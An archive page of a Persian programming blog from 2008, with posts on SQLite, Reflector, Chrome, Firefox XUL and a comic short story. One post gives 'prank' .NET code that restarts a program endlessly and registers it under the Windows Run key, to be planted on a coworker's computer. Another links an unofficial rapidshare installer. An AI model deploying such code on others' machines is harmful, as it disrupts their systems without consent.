Archive for 2008/09

کشتار شبانه

۱۳۸۷/۰۷/۰۵ ۱۶:۲۶ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۷/۰۵ دسته بندی : ، ، 3

کشتار شبانه

شب بود و من خسته. هوا هم گرم بود و داشتم تند تند عرق می کردم. تو موقعیت بدی قرار داشتم و تنها هم بودم. کمین کرده بودم تا دشمن محل خودش رو لو بده و بتونم تو یه موقعیت مناسب حمله رو شروع کنم. یه چند دقیقه ای نگذشته بود که چند تا از دشمن ها رو دیدم که از پناهگاهشون خارج شدند و دارن موقعیت شون رو تغییر میدن. من هم بدون سرو صدا موقعیتم رو عوض کردم. در این وضعیت سعی کردم خودم رو بهشون نزدیک کنم. مطمئن نبودم که دشمن دیگه ای در اون اطراف باشه، پس باید احتیاط می کردم. دو تا بودند و یکی کمی عقبتر راه می رفت. سریعا خودم رو به عقبیه رسوندم و با یه ضربه محکم از گردنش اون نقش بر زمین کردم. اون یکی تا بیاد بفهمه قضیه چی شده با یک ضربه، پشتش رو خرد کردم. از صدای خرد شدنش حالم به هم خورد. از خودم به خاطر این کار کثیفی که دارم انجام می دم بدم اومد، اما چاره نبود و برای دفاع از ارزشها باید این کار رو می کردم.

به هر حال برای اینکه رد پایی باقی نمونه این دو تا رو به یه جای مطمئن کشیدم و مخفی شون کردم. منتظر بقیه بودم تا خودشون رو نشون بدن. شب از نصفه گذشته بود و صدای جیر جیرک ها رو می شد شنید. تو فکر خوابیدن تو یه جای نرم و راحت بودم که دوباره سرو کله چند تا از دشمنا پیدا شد و خواب رو از سرم پروند. این بار موقعیت من خیلی بهتر بود، ولی یه حسی به من می گفت که حالا وقتش نیست. نمی دونم که چی شد این حس نذاشت حمله کنم. سعی کردم تعقیبشون کنم. کار خیلی سختی بود. هم باید خیلی سریع باشی و هم خیلی ساکت و محتاط. همین طور دنبالشون می کردم که دیدم رفتن تو یه سوراخ نسبتا کوچک. همزمان فقط یکی از اونا می تونست از سوراخ عبور کنه. کمی صبر کردم تا ببینم قضیه چیه. وای خدای من اینجا ورودی مخفی نیروی دشمن بود. وای وای عجب کشفی. خیلی هیجان زده شدم ولی بعدش ترسیدم. معلوم نبود که چند تا نیروی دشمن تو اون پناهگاه هستند.

باید یه کاری میکردم. تو این فکر بودم که دیدم یه نفر داره میاد به طرف من، خیلی ترسیدم و اسلحه رو به طرفش گرفتم. نزدیک که اومد تونستم چهره اش رو تشخیص بدم. خدا رحم کرد، برادرم بود. فورا اشاره کردم که بخوابه زمین. گفتم اینجا چی کار میکنی. گفت که تازه از سفر رسیدم. گفتم که محل دشمن رو شناسایی کردم و شانس آوردی که تو رو ندیدن. حالا باید چی کار کنیم. گفت که یه فکری دارم. من با خودم از سنگر قبلی برای چراغ ها کمی نفت آوردم. نظرت چیه پناهگاشون رو بسوزونیم. گفتم که این کار وحشیگریه! گفت چاره دیگه ای نداریم. مهمات که به اندازه کافی نداریم و نمی تونیم منتظر بقیه یمونیم.

دست به کار شدیم و از پشت به ورودی پناهگاشون نزدیک شدیم. یه نگاهی از ته دل بهش کردم و گفتم حالا! و نفت ها رو ریخت رو ورودی و من آتیششون زدم. صدای داد و فریاد اون ها بلند شد. مثل اینکه زیاد نبودند. چند تایی که تو ورودی بودند در حالی که شعله های آتیش داشت ازشون بلند میشد به بیرون فرار کردند. دو تا از دشمن ها تونستند سالم از پناهگاه فرار کنند. اولی در حالی که داشت فرار می کرد با یه ضربه پای من از گردنش بیهوش شد و دومی رو هم برادرم غافل گیر کرده بود. همه جا رو دود گرفته بود. رفتیم و پناه گرفتیم که مبادا دشمن دیگه ای کمین کرده باشه. کسی نبود. از خوشحالی پیروزی بر دشمن نمی دونستم که چیکار کنم و چند تا تیر هوایی در کردم.

تو این گیر رو دار یک هو یه نفر از پشت سر بهم پس گردنی زد. ترسیدم و  برگشتم دیدم بابامه. گفت چه گندی بالا آوردین این آتیش چیه روشن کردین خونه رو به گند گشیدین. زود باش خاموشش کن. گفتم بابا سوسک ها، سوسک ها رو کشتیم. گفت به جهنم. خونه رو گذاشتین رو سرتون. رو به برادرم کرد و گفت کی اومدی. گفت که تازه اومد. گفت که این چه وضعیتی، عوض اینکه نذاری این کار رو بکنه داشتی بهش کمک می کردی.

و این شد که صبح اول وقت به جای رفتن سر کار به خاطر سیاه شدن دیوار آشپزخانه مشغول به شستن شدیم.

پایان!

پس و پیش نوشت ها:
*- نصفه شبی رفته بودم آب بخورم که متوجه رفت و آمد سوسک ها شدم.
*- اون شب برق ها رفته بود.
*- اسلحه من دمپایی بود.
*- تیر هوایی= دمپایی ها رو به هم زدم.

حالا که اصل قضیه براتون مشخص شد داستان را دوباره بخونید.

 

ساخت ویروس در عرض چند ثانیه

۱۳۸۷/۰۷/۰۱ ۱۴:۱۰ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۷/۰۱ دسته بندی : ، 5

Virus

اول اینکه این ویروس نیست و تیتر رو برای جذابیت قضیه آبدار نوشتم. بعدشم از این روش فقط برای شوخی کردن با رفیق و رفقا استفاده کنید و انتشار اون تو جمع و اینترنت ممنوع؛ پس هیچ مسئولیتی در قبال استفاده نادرست از این روش بر عهده نمی گیرم!

فقط کافیه که یک خط کد زیر رو در جایی که می گم بنویسید تا برنامه به صورت پی در پی اجرا بشه و طرف مقابل کلافه بشه. در ضمن این کد فقط برای زبان های دات نتی یعنی C# و VB.NET و ... کار می کنه.

برای انجام این کار در پروژه C# خودتون فایل Program.cs و در پروژه VB.NET خودتون فایل Program.vb رو باز کنید و در ابتدای تابع Main کد زیر رو بنویسید:

Application.Restart()



این کار رو می تونید رو سیستم همکارتون انجام بدین و منتظر بمونین که برنامه رو اجرا کنه. توصیه می کنم از این لحظه فیلم تهیه کنید و به سایت youtube هم اضافه کنید. :twisted:

راز این موضوع در تایع Application.Restart نهفته است. این تابع باعث ریستارت شدن برنامه میشه. به این صورت که یک برنامه موقت و کوچک در دایرکتوری temp در سیستم ایجاد میکنه و سپس برنامه اصلی رو می بنده، بعد از بسته شدن برنامه، فایل اجرایی ایجاد شده در temp برنامه ما رو دوباره اجرا می کنه و سپس پاک میشه. در کد بالا چون ما کد رو در ابتدای برنامه نوشتیم پس برنامه در همان ابتدای اجرا ریستارت خواهد شد و این روند ادامه خواهد داشت تا زمانی که سیستم پر از این برنامه خواهد شد.

برای اینکه از شر این مزاحم خلاص بشین ساده ترین راه ریستارت سیستم هست. اما این هم راه داره و اون این که برنامه رو تو ریجستری ویندوز بنویسید و هربار که سیستم بالا میاد برنامه هم بالا بیاد. با این کد:

Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","Hello",System.Windows.Forms.Application.ExecutablePath)



این کد رو قبل از تابع Restart بنویسید و نتیجه رو مشاهده کنید. برای اینکه از شر این روش هم خلاص بشید، راه سادش رفتن در حالت Safe Mode و حذف کردن کلیدی که آدرسش در کد بالا هست.

در پایان بهتره که این کار رو تو اوقات فراغت و برای شوخی با همکاران یا دوستانتون انجام بدین. در ضمن این روش قبلا توسط من روی همکاران و توسط همکاران روی من امتحان شده و 100% جواب داده و موجب شاده و خنده بسیار شده است.

خوش باشین

 

ابزار Reflector به شرکت RedGate واگذار شد

۱۳۸۷/۰۶/۲۹ ۲:۱۵ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۲۹ دسته بندی : ، 1

Reflector

اخیرا ابزار Reflector به شرکت Reg Gate واگذار شد. این ابزار برای Decompile کردن کد های  dotNET مورد استفاده است و شاید تعداد کمی از دات نت کارها آن رو نشناسند. ابزاری قدرتمند و سریع برای جستجو ، پیمایش و آنالیز کدهای دیکامپایل شده.

نویسنده Reflector که Lutz Roeder نام دارد، در شرکت Microsoft کار می کند و یکی از اعضای اصلی تیم پیاده سازی  Expression Blend می باشد. Lutz Roeder قبول کرد که این ابزار رو به طور کامل به شرکت Red Gate واگذار کند. طبق گفته این شرکت این ابزار در آینده نیز به طور رایگان عرضه خواهد شد. برای اطلاعات بیشتر در مورد آینده این ابزار اینجا را مطالعه کنید.

صفحه Relector در سایت شرکت Red Gate

دانلود Reflector

 

سایت خود را قیمت گذاری کنید

۱۳۸۷/۰۶/۲۳ ۱۹:۱۷ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۲۳ دسته بندی : ، 6

dnScoop Logo

با استفاده از سایت dnScoop میتونید قیمت سایت خودتون رو مشخص کنید. در این آدرس: www.dnscoop.com

این سایت با بررسی چندین فاکتور اقدام به ارزش گذاری و در نهایت با بررسی این موارد اقدام به قیمت گداری می کنه. این فاکتور ها شامل این موارد هستند:

  1. قدمت دامین سایت شما. نام دامین شما هر چه قدیمی تر باشه قیمت بیشتری خواهد داشت.

  2. رنکینگ گوگل. هر چه Pagerank که گوگل به سایت شما می دهد زیاد باشد بر قیمت تاثیر مثبتی خواهد داشت.

  3. تعداد لینک های داده شده به سایت. این مورد هم تاثیر مثیت داره.

  4. ترافیک روزانه و رنکینگ مشخص شده توسط سایت Alexa

  5. موضوع فعالیت سایت. بعضی موضوعات هستند که طرفدار بیشتری دارند و اگر سایت شما در آن زمینه فعالیت کند قیمت پیشنهادی نیز بیشتر خواهد بود.

  6. نام دامین و محبوبیت کلمات استفاده شده در دامین سایت.


همچنین این سایت مبلغی را تبلیغ دهنده باید بپردازد تا بتواند در سایت شما تبلیغ دهد را هم با توجه با فاکتور های بالا مشخص می کند.

برای مثال برای سایت برنامه نویس مبلغ پیشنهادی 8,260 دلار بود که به نظرم کمه! در مقابل به سایت codeproject.com مبلغ 1,686,400 دلار قیمت گذاری کرد.

همچنین می تونید لینک قیمت داده شده رو هم به سایت خودتون اضافه کنید.

پ.ن: برای بررسی قیمت حتما باید آدرس سایت وارد کنید و امکان بررسی قیمت ساب دامین یا وبلاگ امکان وجود نداره.

 

SQLite پایگاه داده ای سبک و چابک

۱۳۸۷/۰۶/۱۸ ۲۳:۰۱ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۱۸ دسته بندی : ، ، 5

SQLite Logo
SQLite یک پایگاه داده کوچک (حجمی در حدود 500 KB) که به زبان C در قالب یک کتابخانه (Library) نوشته شده است و از پایگاه داده های RDBMS به حساب می آید. این پایگاه داده بدون لیسانس (Public Domain) ، آزاد و open source منتشر می شود.
  • بررسی ویژگیها
برخلاف پایگاه داده های client-server پایگاه داده ی SQLite به عنوان یک پروسه مجزا عمل نمی کند. بلکه به عنوان کتابخانه ای عمل می کند که همراه برنامه انتشار یافته و امکان دسترسی به دیتا را به برنامه می دهد و همانند بخشی از آن عمل می کند.
برنامه می بایست از طریق توابع فراهم شده اقدام به فراخوانی و دسترسی به دیتا نمایند که این نحوه فراخوانی باعث بهینه تر و سریعتر در دسترس قرار گرفتن نتایج خواهد شد. این روش از درخواست به سرویس های دیگر جهت دریافت اطلاعات که سایر پایگاه داده های از آن استفاده می کنند برای داده های کم حجم و پایگاه داده کوچک، بهینه تر است.

تمامی اطلاعات این بانک اطلاعاتی (شامل جداول، تعریفات، دیتا و غیره) در یک فایل که برای تمامی سیستم عامل ها یکسان است ذخیره می شود. این روش یکی از دلایل موفقیت این پایگاه داده به شمار می آید.
SQLite با توجه به نوع ساختاری که دارد تعدادی از ویژگی های استاندارد که در SQL-92 به تصویب رسیده را پشتیبانی نمی کند. شاید بزرگترین این موارد عدم پشتیبانی از توابع و stored procedure ها باشد. سایر موارد استاندارد SQL پیاده سازی شده و در دسترس هستند.
موارد قابل استفاده در این پایگاه داده را می توان trigger ها، View ها و Query های پیچیده نام برد.

یکی از موارد جالب در پیاده سازی SQLite نحوه اعمال نوع داده ها به فیلدها (Columns) است. در این پایگاه داده به جای اختصاص دادن نوع به فیلد مورد نظر که در اکثر پایگاه داده های معتبر از این روش استفاده می شود، فقط نوع به مقدار (value) داده شده اختصاص داده می شود. برای مثال اگر نوع فیلدی Integer تعریف شده باشد و کاربر قصد وارد کردن داده ای از نوع رشته را داشته باشد، موتور پایگاه داده ابتدا سعی خواهد کرد که داده را به نوع Integer تبدیل کند. این باعث افزایش انعطاف پذیری نوع داده های فیلدها می شود. مخصوصا وقتی که نیاز به عمل bind در سایر زبانها به صورت دینامیک مورد نیاز باشد.

  • شیوه مدیریت دسترسی ها
چندین پروسه یا thread می تواند به صورت همزمان به یک پایگاه داده بدون مشکل دسترسی داشته باشد و از آن اطلاعات دریافت نمایند. ولی برای نوشتن اطلاعات فقط یک پروسه امکان دسترسی خواهد داشت. سایر پروسه ها باید منتظر بمانند و یا اینکه با خطا مواجه خواهند شد.

  • ابزارهای توسعه
یکی از مهمترین مزیت های این پایگاه داده امکان استفاده آن در اکثر زبانهای برنامه نویسی است. برنامه های دسترسی به این پایگاه داده در اکثر زبانها نوشته شده است و در دسترس است. برای مشاهده ابزارهای دسترسی به این ادرس مراجعه کنید: http://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers
مهمترین کتابخانه های رابط برای استفاده از SQLite
dotNET Framework: http://sqlite.phxsoftware.com/
dotNET Framework: http://www.mono-project.com/SQLite
Delphi: http://www.aducom.com/
Delpi: http://wikitaxi.org/delphi/doku.php/products/sqlite3/index
C++: http://www.sqliteplus.com/
Java: http://www.ch-werner.de/javasqlite
PHP: SQLite is bundled with PHP 5. http://www.php.net/
Python: http://pysqlite.org/

برای طراحی و ایجاد پایگاه داده SQLite می توانید از ابزارهای زیر استفاده کنید:
SQLite Manager: یک extension برای مرورگر فایرفاکس که با به سادگی امکان دسترسی به تمامی امکانات SQLite رو فراهم می کند. لینک: https://addons.mozilla.org/en-US/firefox/addon/5817
SQLite مورد مقبولیت فراوانی برای استفاده به عنوان یک دیتابیس Embeded قرار گرفته و در پروژه های زیر مورد استفاده قرار گرفته است:

  • FireFox - این مرورگر برای ذخیره اطلاعات خود از SQLite استفاده می کند.

  • Mac OS X - سیستم عامل شرکت Apple به صورت داخلی از SQLite به عنوان یک پایگاه داده استاندارد استفاده می کند.

  • Skype - این نرم افزار چت و گفت و گوی آنلاین که با مقبولیت خوبی روبروست از SQLite استفاده می کند.

  • Symbian - سیستم عامل گوشی های موبایل در نسخه های جدید خود از این پایگاه داده به صورت توکار استفاده می کند.

  • Android - سیستم عامل جدید گوگل برای موبایل

  • iPhone و iPod touch : در این دو دستگاه محصول Apple از این پایگاه داده استفاده شده است.

  • Google Gears - ابزار گوگل برای نوشتن برنامه های تحت وب با استفاده از تکنولوژی های مختلف روز.
  • معایب
در طی آزمایشات گوناگونی که انجام گرفته سرعت این پایگاه داده در مقابله با حجم اطلاعات زیاد مقداری بیش از حد معمول پایین می آید.
عدم امنیت. در این پایگاه داده هیچ روش خاصی برای حفظ امنیت داده های در نظر گرفته نشده است و این مورد می تواند برای ذخیره داده های حساس مشکل ساز شود.
  • سخن آخر
پایگاه داده SQLite یک ابزار کوچک سریع و مطمئن است که برای مقاصد خاص نوشته شده است. از این پایگاه داده می توانید برای سیستم های Embeded استفاده کنید. یا برای نزم افزار های کوچک و تک کاربره خود تا خود را از شر مشکلات انتشار پایگاه داده های بزرگ همراه نرم افزار خود دور بمانید.
همچنین این یک گزینه فوق العاده برای کسانی است که از access صرفا برای پایگاه داده خود استفاده می کنند.
  • منابع مفید
سایت اصلی: http://www.sqlite.org
دانلود نسخه اصلی: http://www.sqlite.org/download.html
ویژگی های حذف شده از SQL استاندارد: http://www.sqlite.org/omitted.html
ویژگی های پیاده سازی شده: http://www.sqlite.org/lang.html

 

زیر میزی

۱۳۸۷/۰۶/۱۷ ۲۳:۳۷ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۱۷ دسته بندی : ، ، 2

به نظر شما چه فرایندی زیر میز اتفاق میافته یا چه چیز و چیزهایی رد بدل میشه که پشت میزی ها اینتقدر به اون علاقه دارند؟؟

این سوال مدتیه ذهن منو به خودش مشغول کرده و خوشحال میشم من رو راهنمایی کنید.

 

Don't Send فارسی از Visual Studio

۱۳۸۷/۰۶/۱۵ ۲۱:۳۴ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۱۵ دسته بندی : ، ، 1

مدتی قبل که داشتم رو پروژم کار می کردم سیستم خیلی سنگین شده بود و مدت زیادی بود که داشتم با سیستم کار می کردم.

در حال بررسی یه خطای منطقی بودم که خیلی اذیتم کرد و معلوم نبود از کجاست. به خاطر همین مجبور بودم که مرتب به حالت debug سوئیچ کنم. نمی دونم چی شد که در بعضی موارد باعث ایجاد خطا تو visual studio شد و سرور وب داخلی اون یعنن WebDav به هم ریخت و پیغام خطا داد.

تا اینجا که همه چی به نظر عادی می رسید که دیدم پیغام خطا که همون don't send معروف بود به فارسی نمایش داده شد.

تصویر زیر رو ببینید:

پیغام خطای فارسی WebDav

این هم تصویری از سایر اطلاعات خطا هست که البته اینها هم به فارسی هستند:

پیغام خطای فارسی WebDav

ماجرا به اینجا ختم نشد و مدتی بعد که خود visual studio هم دچار مشکل شد. خطای اون هم فارسی بود:

پیغام خطای فارسی VisualStudio 2005

جالب قضیه اینجاست که چرا باید اینچنین پیغام اعصاب خورد کنی فارسی باشه!

این رو هم بدونین که پیغام خطای نمایش داده شده توسط برنامه DW20.exe نمایش داده میشه و زبان نمایش توسط این برنامه تایین میشه.

من علت این موارد رو نصب پکیج فارسی سازی مجموعه office می دونم. البته این پکیج رو فقط برای غلط گیر فارسی اون نصب کرده بودم، که البته می تونه همون برنامه DW20 رو هم تحت تاثیر قرار داده باشه. متاسفانه در اون زمان که این اشکالات پیش اومد وقت رسیدگی به موضوع رو نداشتم ببینم علت چیه و مسائله حل نشده باقی موند.

شاید ندونید ولی visual studio تمامی تنظیمات زبان خوش رو از ویندوز می گیره. یعنی اگر زبان ویندوز خودتون را در هنگام نصب یا از طریق control panel رو فارسی تنظیم شده باشه و اگر نسخه فارسی از visual studio نصب می بود مطمئنن به طور خودکار محیط برنامه رو فارسی نشون می داد.

 

Google Chrome مرورگر جدید از گوگل

۱۳۸۷/۰۶/۱۲ ۲۲:۵۲ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۱۲ دسته بندی : ، ، 12

به تازگی گوگل مرورگر وب خودش رو معرفی کرده. این مرورگر که با نام Chrome شناخته می شه و بزودی منتشر خواهد شد.

Google Chrome

این مرورگر مقداری جنجال مبنی بر به چالش کشیدن Microsoft به وجود آورده و پیش بینی میشه که بتونه سهم خوبی از بازار مرورگر های وب بدست بیاره.

ولی من اینطوری فکر نمی کنم. مطمئنا می تونه این مرور گر موفق بشه ولی این مرورگر باعث کاهش استفاده کنندگان از firefox خواهد شد. علت این موضوع به خاطر این است که اکثر افرادی که از firefox استفاده می کنند افرادی متخصص یا دارای دانش و تخصص هستند و مسلما این مرور گر جدید آنها را جذب خواهد کرد. اما کاربران عادی ویندوز و IE که سهم زیادی از مرورگر ها رو به خودشون اختصاص دادن زحمت نصب این نرم افزار رو به خودشون نخواهند داد. چون اگر قرار بود این کار را بکنند قبلا با firefox انجام می دادند.

مرورگر گوگل open source خواهد بود. جالبه بدونید که موتور درونی این نر م افزار WebKit خواهد یود. WebKit همان موتور استفاده شده در مرورگر معروف Safari کمپانی Apple هست.

از امکانات این مرورگر می توان به داشتن tab نام برد. این تب ها برخلاف سایر مرورگر ها در بالای نوار آدرس قرار دارند:

Google Chrome Tabs

این مرورگر صفحه پیش فرض خود را speed dial قرار داده است مانند آنچه که در Opera وجود داره:

chrome speed dial

ستاره کنار نوار آدرس این امکان می دهد که به سرعت آدرس را به لیست علاقه مندی های خود اضافه کنید، همانند firefox:

chrome fast bookmark

نوار آدرس هوشمند برای کلمات تایپ شده و یافتن گزینه مناسب. همانند firefox 3 و IE8:

chrome address bar

این مرور گر از موتور JavaScript با نام V8 استفاده می کنه که به گفته آنها برای بهینه سازی سرعت اجرای کد های جاوا اسکریپت طراحی شده است. این موتور هم به صورت open source در دسترس همه قرار داره و امکان استفاده آن در سایر مرورگر ها هم وجود هست.

همچنین این مرورگر یک حالت امنیتی ویژه خواهد داشت که به کاربر اجازه می دهد در صفحات وب گردش را انجام بدهد بدون اینکه هیچ ردی از آن در کامپیوتر باقی بماند. در حقیقیت هیچ log از کارهای وی گرفته نخواهد شد. این امکان با نام incognito شناخته می شه.

پ.ن: این مرورگر برای دانلود در لینک زیر آماده شد: http://www.google.com/chrome
پ.ن2: دریافت این مرورگر برای ایرانی ها بسته هست و برای دریافت آن باید از پراکسی استفاده کنید.

لینک دانلود بدون محدودیت برای ایرانی ها: http://rapidshare.com/files/142129854/chrome_installer.exe

 

طراحي پيشرفته FireFox

۱۳۸۷/۰۶/۱۱ ۱۱:۵۲ Salar Khalilzadeh https://plus.google.com/105397214522932500988 منتشر شده در تاریخ : ۱۳۸۷/۰۶/۱۱ دسته بندی : ، ، ، 1



این مطلبی رو که پایین می بینید مربوط به یک سال پیشه که تو بلاگفا نوشته بودم. دیدم خالی از لطف نیست که دوباره اینجا بنویسم.

اين مورد رو به طور اتفاقي وقتي که داشتم تو لیست موارد about:config نگاه مي کردم پيدا کردم و خيلي جالبه.

مرورگر Firefox خودتون رو باز کنيد و در آدرس بار مقدار زير رو وارد کنيد:

chrome://browser/content/browser.xul



در کمال تعجب خواهيد ديد که يک محيط فايرفاکس جديد در Tab نمايش داده خواهد شد.

توضيح اين مطلب:
آدرس chrome رو که به عنوان نام پروتوکل در آدرس بار وارد شد به فايرفاکس اعلام ميکنه اين يک فايل منبع داخلي براي فايرفاکس است و داده ها بايد از منابع داخلي خوانده شود.
در مورد مذکور فايل browser.xul در داخل فايل منبع browser.jar در در پوشه chrome همراه فايرفاکس قرار داره. اين فايل شامل تمام موارد مورد نياز براي طراحي ظاهر فايرفاکس مورد استفاده است.
با استفاده از برنامه WinAce مي تونيد فايل browser.jar را از حالت فشرده خارج کنيد و ويرايش مورد نظر را انجام داده و مجددا با WinAce عمل فشرده سازي با فرمت JAR رو انجام بديد.

اما توضيح فايل browser.xul:
اين يک فايل XUL است که مخفف XML User-Interface Language استاندارد طراحي ظاهر براي چندين سيستم عامل است که توسط Mozilla ايجاد شده است. و از ويژگي هاي پيشرفته اي که در FireFox و مرورگر Mozilla در اون استفاده شده است و باعث انعطاف پذيري باور نکردني و قابليت حمل فراوان اون شده است. راز اجرا شدن فایرفاکس در چندین سیستم عامل هم تو همین XUL هست. تنها چیزی که لازم خواهد بود مفسر برای اجرا در هر سیستم عامل هست. اطلاعات بيشتر در مورد XUL در اينجا: http://www.xulplanet.com

نتيجتا وقتي ما آدرس chrome://browser/content در مرورگر فايرفاکس وارد مي کنيم از نظر فاير فاکس اين يک روند عادي به شما ميره.
و نتيجه نهايي اينکه تمام فرمهاي FireFox نوعي Browser هستند با اين تفاوت که امکانات استاندارد مرورگر نمایش داده نمی شوند و حذف شده اند.

در تصوير بالا چندين محيط FireFox رو در تو در تو وارد کردم ميتونيد ببينيد. (به تعداد خطاهاي Javascript توجه کنيد که البته طبيعيه)

همه اينها مزيد بر علت شد تا پيش از پيش FireFox را به خاطر طراحي کم نظيرش دوست بدارم.
ساير نمونه هايي که ميتونيد امتحان کنيد:

Firefox: chrome://browser/content
Page info: chrome://browser/content/pageinfo/pageInfo.xul
preferences: chrome://browser/content/preferences/content.xul
Manage search engine: chrome://browser/content/search/engineManager.xul
Print page setup: chrome://global/content/printPageSetup.xul

و نکته اي که يادم رفت بگم و جالبتر هم هست اينکه تمامي عمليات با استفاده از JavaScript انجام ميشه:
مثلا عمل جستجو:

chrome://browser/content/search/engineManager.js